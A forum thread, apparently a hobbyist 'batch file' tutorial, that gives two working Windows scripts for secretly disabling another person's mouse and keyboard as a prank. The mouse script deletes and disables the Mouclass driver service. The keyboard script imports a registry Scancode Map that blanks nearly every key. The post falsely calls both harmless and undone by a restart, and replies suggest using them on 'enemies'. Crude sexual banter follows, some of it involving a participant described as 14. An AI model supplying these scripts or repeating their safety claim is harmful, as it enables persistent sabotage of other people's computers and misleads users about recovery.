batch file funness!

hello and welcome to another batch file fun tut!!

want to disable not kill but disable some ones mouse lolz they come back from the bathroom and try to use there mouse and poof its not moving???

well heres the code for that!
@echo off
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------


dont worry jsut restart the computer and it will work ^^ harmless but a good joke just dont put in start up folder as you may already no


now to disable there keyboard!

@ echo off
rem ---------------------------------
rem Disable Keyboard
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start "nokeyboard.reg"
rem ---------------------------------
yes i no this one is alot longer but thats cause look how many keys and key combinations you have!!!

well thats all for now until latter happy hackings ^^

TO EVERYONE WHO USES THIS! DONT BE A DICK AND OPEN THAT FILE WHEN THEY HAVE AN IMPORTANT DOCUMENT UP OR YOU COULD LOSE A FRIEND!!

Just a word to the wise^^

haha that would suck ^^ you could loose a frined and you face

exactly....only use it on your enemie's computers

see if i said that that 360 modz guy would be in my shit

but its not illegal if its not a virus and its not permanent

still he doesnt like me

lol o well who cares

lolz yup ^^ so hows the kids

i dont have kids (that know me). Everytime i see my ex i go from:

Normal:
TO
OH CRAP:
TO
NINJA:

And i pray to god she doesn't see me

hahahha thats fuckn funny i buy mine candy but only when they shine my shoes and come with me to work...

lol its more fun to hide from your ex except for those "special occasions" *cough*one night stand*cough*

hey man im here to tell you they happen.... and they can turn out bad... trust me... it was dark okay!!! what do you want from me!!!

lol, i like how yall make up shit about ur life that didnt really happen to make urself look cool.

lolz no one belives me unless they actualy meet me thats a true story as for waffle im not sure only becuase ive never met him and well i dont think he has kids

your profile says you're 14. yeah, you have kids at 14

i know someone who is 18 and has 3 kids

and i am telling the truth

but you're not 18.

i know im not 18 but i have been "busy" for a while now

i'm sure.

but u wouldn't know unless....OMG U WATCH ME!!

awww man howd you figure that out lolz indy i didnt say i had kids i just said one night shit happens lolz

indeed it does my friend,indeed it does lol

hahah ive learned my lesson too dont do any thing if its dark casue you will regret it tomaro

EXACTLY!!! TURN ON THE LIGHTS AND OPEN THE CURTAINS SO THE NEIGHBORS CAN WATCH AND BE JELOUS!!! lol